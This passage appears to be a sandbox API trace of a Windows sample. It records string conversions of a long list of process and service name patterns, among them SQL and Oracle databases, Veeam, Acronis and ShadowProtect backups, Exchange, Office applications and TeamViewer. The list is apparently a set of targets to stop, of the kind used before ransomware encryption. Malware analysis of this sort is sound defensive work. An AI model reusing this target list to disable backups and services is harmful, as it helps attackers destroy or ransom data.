	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="bes10*", AllocateDestinationString=1 | out: DestinationString="bes10*") returned 0x0
	[0059.529] RtlFreeAnsiString (AnsiString="b") 
	[0059.529] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="black*" | out: DestinationString="black*") 
	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="black*", AllocateDestinationString=1 | out: DestinationString="black*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="b") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="apach*" | out: DestinationString="apach*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="apach*", AllocateDestinationString=1 | out: DestinationString="apach*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="a") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="bd2*" | out: DestinationString="bd2*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="bd2*", AllocateDestinationString=1 | out: DestinationString="bd2*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="b") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="db*" | out: DestinationString="db*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="db*", AllocateDestinationString=1 | out: DestinationString="db*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="d") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ba*" | out: DestinationString="ba*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ba*", AllocateDestinationString=1 | out: DestinationString="ba*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="b") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="be*" | out: DestinationString="be*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="be*", AllocateDestinationString=1 | out: DestinationString="be*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="b") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="QB*" | out: DestinationString="QB*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="QB*", AllocateDestinationString=1 | out: DestinationString="QB*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="Q") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="oracle*" | out: DestinationString="oracle*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="oracle*", AllocateDestinationString=1 | out: DestinationString="oracle*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="o") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="wbengine*" | out: DestinationString="wbengine*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="wbengine*", AllocateDestinationString=1 | out: DestinationString="wbengine*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="w") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="vee*" | out: DestinationString="vee*") 
	[0059.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="vee*", AllocateDestinationString=1 | out: DestinationString="vee*") returned 0x0
	[0059.530] RtlFreeAnsiString (AnsiString="v") 
	[0059.530] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="postg*" | out: DestinationString="postg*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="postg*", AllocateDestinationString=1 | out: DestinationString="postg*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="p") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="sage*" | out: DestinationString="sage*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="sage*", AllocateDestinationString=1 | out: DestinationString="sage*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="s") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="sap*" | out: DestinationString="sap*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="sap*", AllocateDestinationString=1 | out: DestinationString="sap*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="s") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="b1*" | out: DestinationString="b1*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="b1*", AllocateDestinationString=1 | out: DestinationString="b1*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="b") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="fdlaunch*" | out: DestinationString="fdlaunch*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="fdlaunch*", AllocateDestinationString=1 | out: DestinationString="fdlaunch*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="f") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="msmdsrv*" | out: DestinationString="msmdsrv*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="msmdsrv*", AllocateDestinationString=1 | out: DestinationString="msmdsrv*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="m") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="report*" | out: DestinationString="report*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="report*", AllocateDestinationString=1 | out: DestinationString="report*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="r") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="msdtssr*" | out: DestinationString="msdtssr*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="msdtssr*", AllocateDestinationString=1 | out: DestinationString="msdtssr*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="m") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="coldfus*" | out: DestinationString="coldfus*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="coldfus*", AllocateDestinationString=1 | out: DestinationString="coldfus*") returned 0x0
	[0059.531] RtlFreeAnsiString (AnsiString="c") 
	[0059.531] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="cfdot*" | out: DestinationString="cfdot*") 
	[0059.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="cfdot*", AllocateDestinationString=1 | out: DestinationString="cfdot*") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="c") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="swag*" | out: DestinationString="swag*") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="swag*", AllocateDestinationString=1 | out: DestinationString="swag*") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="s") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="swstrtr*" | out: DestinationString="swstrtr*") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="swstrtr*", AllocateDestinationString=1 | out: DestinationString="swstrtr*") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="s") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="jetty.exe" | out: DestinationString="jetty.exe") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="jetty.exe", AllocateDestinationString=1 | out: DestinationString="jetty.exe") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="j") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="wrsa.exe" | out: DestinationString="wrsa.exe") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="wrsa.exe", AllocateDestinationString=1 | out: DestinationString="wrsa.exe") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="w") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="team*" | out: DestinationString="team*") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="team*", AllocateDestinationString=1 | out: DestinationString="team*") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="t") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="agent*" | out: DestinationString="agent*") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="agent*", AllocateDestinationString=1 | out: DestinationString="agent*") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="a") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="store.exe" | out: DestinationString="store.exe") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="store.exe", AllocateDestinationString=1 | out: DestinationString="store.exe") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="s") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="sql*" | out: DestinationString="sql*") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="sql*", AllocateDestinationString=1 | out: DestinationString="sql*") returned 0x0
	[0059.532] RtlFreeAnsiString (AnsiString="s") 
	[0059.532] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="sqbcoreservice.exe" | out: DestinationString="sqbcoreservice.exe") 
	[0059.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="sqbcoreservice.exe", AllocateDestinationString=1 | out: DestinationString="sqbcoreservice.exe") returned 0x0
	[0059.533] RtlFreeAnsiString (AnsiString="s") 
	[0059.533] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="thunderbird.exe" | out: DestinationString="thunderbird.exe") 
	[0059.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="thunderbird.exe", AllocateDestinationString=1 | out: DestinationString="thunderbird.exe") returned 0x0
	[0059.533] RtlFreeAnsiString (AnsiString="t") 
	[0059.533] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ocssd.exe" | out: DestinationString="ocssd.exe") 
	[0059.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ocssd.exe", AllocateDestinationString=1 | out: DestinationString="ocssd.exe") returned 0x0
	[0059.533] RtlFreeAnsiString (AnsiString="o") 
	[0059.533] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="encsvc.exe" | out: DestinationString="encsvc.exe") 
	[0059.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="encsvc.exe", AllocateDestinationString=1 | out: DestinationString="encsvc.exe") returned 0x0
	[0059.533] RtlFreeAnsiString (AnsiString="e") 
	[0059.533] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="excel.exe" | out: DestinationString="excel.exe") 
	[0059.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="excel.exe", AllocateDestinationString=1 | out: DestinationString="excel.exe") returned 0x0
	[0059.533] RtlFreeAnsiString (AnsiString="e") 
	[0059.533] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="synctime.exe" | out: DestinationString="synctime.exe") 
	[0059.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="synctime.exe", AllocateDestinationString=1 | out: DestinationString="synctime.exe") returned 0x0
	[0059.533] RtlFreeAnsiString (AnsiString="s") 
	[0059.533] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="mspub.exe" | out: DestinationString="mspub.exe") 
	[0059.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="mspub.exe", AllocateDestinationString=1 | out: DestinationString="mspub.exe") returned 0x0
	[0059.533] RtlFreeAnsiString (AnsiString="m") 
	[0059.533] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ocautoupds.exe" | out: DestinationString="ocautoupds.exe") 
	[0059.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ocautoupds.exe", AllocateDestinationString=1 | out: DestinationString="ocautoupds.exe") returned 0x0
	[0059.534] RtlFreeAnsiString (AnsiString="o") 
	[0059.534] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="thebat.exe" | out: DestinationString="thebat.exe") 
	[0059.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="thebat.exe", AllocateDestinationString=1 | out: DestinationString="thebat.exe") returned 0x0
	[0059.534] RtlFreeAnsiString (AnsiString="t") 
	[0059.534] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="dbeng50.exe" | out: DestinationString="dbeng50.exe") 
	[0059.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="dbeng50.exe", AllocateDestinationString=1 | out: DestinationString="dbeng50.exe") returned 0x0
	[0059.534] RtlFreeAnsiString (AnsiString="d") 
	[0059.534] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*sql*" | out: DestinationString="*sql*") 
	[0059.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*sql*", AllocateDestinationString=1 | out: DestinationString="*sql*") returned 0x0
	[0059.534] RtlFreeAnsiString (AnsiString="*") 
	[0059.534] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="mydesktopservice.exe" | out: DestinationString="mydesktopservice.exe") 
	[0059.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="mydesktopservice.exe", AllocateDestinationString=1 | out: DestinationString="mydesktopservice.exe") returned 0x0
	[0059.534] RtlFreeAnsiString (AnsiString="m") 
	[0059.534] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="onenote.exe" | out: DestinationString="onenote.exe") 
	[0059.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="onenote.exe", AllocateDestinationString=1 | out: DestinationString="onenote.exe") returned 0x0
	[0059.534] RtlFreeAnsiString (AnsiString="o") 
	[0059.534] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="outlook.exe" | out: DestinationString="outlook.exe") 
	[0059.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="outlook.exe", AllocateDestinationString=1 | out: DestinationString="outlook.exe") returned 0x0
	[0059.534] RtlFreeAnsiString (AnsiString="o") 
	[0059.534] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="powerpnt.exe" | out: DestinationString="powerpnt.exe") 
	[0059.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="powerpnt.exe", AllocateDestinationString=1 | out: DestinationString="powerpnt.exe") returned 0x0
	[0059.534] RtlFreeAnsiString (AnsiString="p") 
	[0059.534] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="msaccess.exe" | out: DestinationString="msaccess.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="msaccess.exe", AllocateDestinationString=1 | out: DestinationString="msaccess.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="m") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="tbirdconfig.exe" | out: DestinationString="tbirdconfig.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="tbirdconfig.exe", AllocateDestinationString=1 | out: DestinationString="tbirdconfig.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="t") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="wordpad.exe" | out: DestinationString="wordpad.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="wordpad.exe", AllocateDestinationString=1 | out: DestinationString="wordpad.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="w") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ocomm.exe" | out: DestinationString="ocomm.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ocomm.exe", AllocateDestinationString=1 | out: DestinationString="ocomm.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="o") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="dbsnmp.exe" | out: DestinationString="dbsnmp.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="dbsnmp.exe", AllocateDestinationString=1 | out: DestinationString="dbsnmp.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="d") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="thebat64.exe" | out: DestinationString="thebat64.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="thebat64.exe", AllocateDestinationString=1 | out: DestinationString="thebat64.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="t") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="winword.exe" | out: DestinationString="winword.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="winword.exe", AllocateDestinationString=1 | out: DestinationString="winword.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="w") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="oracle.exe" | out: DestinationString="oracle.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="oracle.exe", AllocateDestinationString=1 | out: DestinationString="oracle.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="o") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="xfssvccon.exe" | out: DestinationString="xfssvccon.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="xfssvccon.exe", AllocateDestinationString=1 | out: DestinationString="xfssvccon.exe") returned 0x0
	[0059.535] RtlFreeAnsiString (AnsiString="x") 
	[0059.535] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="firefoxconfig.exe" | out: DestinationString="firefoxconfig.exe") 
	[0059.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="firefoxconfig.exe", AllocateDestinationString=1 | out: DestinationString="firefoxconfig.exe") returned 0x0
	[0059.536] RtlFreeAnsiString (AnsiString="f") 
	[0059.536] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="visio.exe" | out: DestinationString="visio.exe") 
	[0059.536] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="visio.exe", AllocateDestinationString=1 | out: DestinationString="visio.exe") returned 0x0
	[0059.536] RtlFreeAnsiString (AnsiString="v") 
	[0059.536] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="mydesktopqos.exe" | out: DestinationString="mydesktopqos.exe") 
	[0059.536] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="mydesktopqos.exe", AllocateDestinationString=1 | out: DestinationString="mydesktopqos.exe") returned 0x0
	[0059.536] RtlFreeAnsiString (AnsiString="m") 
	[0059.536] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="infopath.exe" | out: DestinationString="infopath.exe") 
	[0059.536] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="infopath.exe", AllocateDestinationString=1 | out: DestinationString="infopath.exe") returned 0x0
	[0059.536] RtlFreeAnsiString (AnsiString="i") 
	[0059.536] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="agntsvc.exe" | out: DestinationString="agntsvc.exe") 
	[0059.536] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="agntsvc.exe", AllocateDestinationString=1 | out: DestinationString="agntsvc.exe") returned 0x0
	[0059.536] RtlFreeAnsiString (AnsiString="a") 
	[0059.536] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="Lotus*" | out: DestinationString="Lotus*") 
	[0059.536] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="Lotus*", AllocateDestinationString=1 | out: DestinationString="Lotus*") returned 0x0
	[0059.536] RtlFreeAnsiString (AnsiString="L") 
	[0059.536] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="veeam*" | out: DestinationString="veeam*") 
	[0059.536] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="veeam*", AllocateDestinationString=1 | out: DestinationString="veeam*") returned 0x0
	[0059.536] RtlFreeAnsiString (AnsiString="v") 
	[0059.536] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="cbvscserv*" | out: DestinationString="cbvscserv*") 
	[0059.536] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="cbvscserv*", AllocateDestinationString=1 | out: DestinationString="cbvscserv*") returned 0x0
	[0059.536] RtlFreeAnsiString (AnsiString="c") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="hMailServer" | out: DestinationString="hMailServer") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="hMailServer", AllocateDestinationString=1 | out: DestinationString="hMailServer") returned 0x0
	[0059.537] RtlFreeAnsiString (AnsiString="h") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="backup*" | out: DestinationString="backup*") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="backup*", AllocateDestinationString=1 | out: DestinationString="backup*") returned 0x0
	[0059.537] RtlFreeAnsiString (AnsiString="b") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*backup*" | out: DestinationString="*backup*") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*backup*", AllocateDestinationString=1 | out: DestinationString="*backup*") returned 0x0
	[0059.537] RtlFreeAnsiString (AnsiString="*") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="apach*" | out: DestinationString="apach*") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="apach*", AllocateDestinationString=1 | out: DestinationString="apach*") returned 0x0
	[0059.537] RtlFreeAnsiString (AnsiString="a") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="firebird*" | out: DestinationString="firebird*") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="firebird*", AllocateDestinationString=1 | out: DestinationString="firebird*") returned 0x0
	[0059.537] RtlFreeAnsiString (AnsiString="f") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ibmiasrw" | out: DestinationString="ibmiasrw") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ibmiasrw", AllocateDestinationString=1 | out: DestinationString="ibmiasrw") returned 0x0
	[0059.537] RtlFreeAnsiString (AnsiString="i") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="IBM Domino*" | out: DestinationString="IBM Domino*") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="IBM Domino*", AllocateDestinationString=1 | out: DestinationString="IBM Domino*") returned 0x0
	[0059.537] RtlFreeAnsiString (AnsiString="I") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="Simply Accounting Database Connection Manager" | out: DestinationString="Simply Accounting Database Connection Manager") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="Simply Accounting Database Connection Manager", AllocateDestinationString=1 | out: DestinationString="Simply Accounting Database Connection Manager") returned 0x0
	[0059.537] RtlFreeAnsiString (AnsiString="S") 
	[0059.537] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="IASJet" | out: DestinationString="IASJet") 
	[0059.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="IASJet", AllocateDestinationString=1 | out: DestinationString="IASJet") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="I") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="QB*" | out: DestinationString="QB*") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="QB*", AllocateDestinationString=1 | out: DestinationString="QB*") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="Q") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*sql*" | out: DestinationString="*sql*") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*sql*", AllocateDestinationString=1 | out: DestinationString="*sql*") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="*") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="sql*" | out: DestinationString="sql*") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="sql*", AllocateDestinationString=1 | out: DestinationString="sql*") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="s") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="QuickBooksDB*" | out: DestinationString="QuickBooksDB*") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="QuickBooksDB*", AllocateDestinationString=1 | out: DestinationString="QuickBooksDB*") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="Q") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="IISADMIN" | out: DestinationString="IISADMIN") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="IISADMIN", AllocateDestinationString=1 | out: DestinationString="IISADMIN") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="I") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="omsad" | out: DestinationString="omsad") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="omsad", AllocateDestinationString=1 | out: DestinationString="omsad") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="o") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="dc*32" | out: DestinationString="dc*32") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="dc*32", AllocateDestinationString=1 | out: DestinationString="dc*32") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="d") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="server Administrator" | out: DestinationString="server Administrator") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="server Administrator", AllocateDestinationString=1 | out: DestinationString="server Administrator") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="s") 
	[0059.538] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="wbengine" | out: DestinationString="wbengine") 
	[0059.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="wbengine", AllocateDestinationString=1 | out: DestinationString="wbengine") returned 0x0
	[0059.538] RtlFreeAnsiString (AnsiString="w") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="mr2kserv" | out: DestinationString="mr2kserv") 
	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="mr2kserv", AllocateDestinationString=1 | out: DestinationString="mr2kserv") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="m") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="MSExchange*" | out: DestinationString="MSExchange*") 
	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="MSExchange*", AllocateDestinationString=1 | out: DestinationString="MSExchange*") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="M") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ShadowProtectSvc" | out: DestinationString="ShadowProtectSvc") 
	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ShadowProtectSvc", AllocateDestinationString=1 | out: DestinationString="ShadowProtectSvc") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="S") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="SP*4" | out: DestinationString="SP*4") 
	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="SP*4", AllocateDestinationString=1 | out: DestinationString="SP*4") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="S") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="teamviewer" | out: DestinationString="teamviewer") 
	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="teamviewer", AllocateDestinationString=1 | out: DestinationString="teamviewer") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="t") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="MMS" | out: DestinationString="MMS") 
	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="MMS", AllocateDestinationString=1 | out: DestinationString="MMS") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="M") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="AcronisAgent" | out: DestinationString="AcronisAgent") 
	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="AcronisAgent", AllocateDestinationString=1 | out: DestinationString="AcronisAgent") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="A") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ARSM" | out: DestinationString="ARSM") 
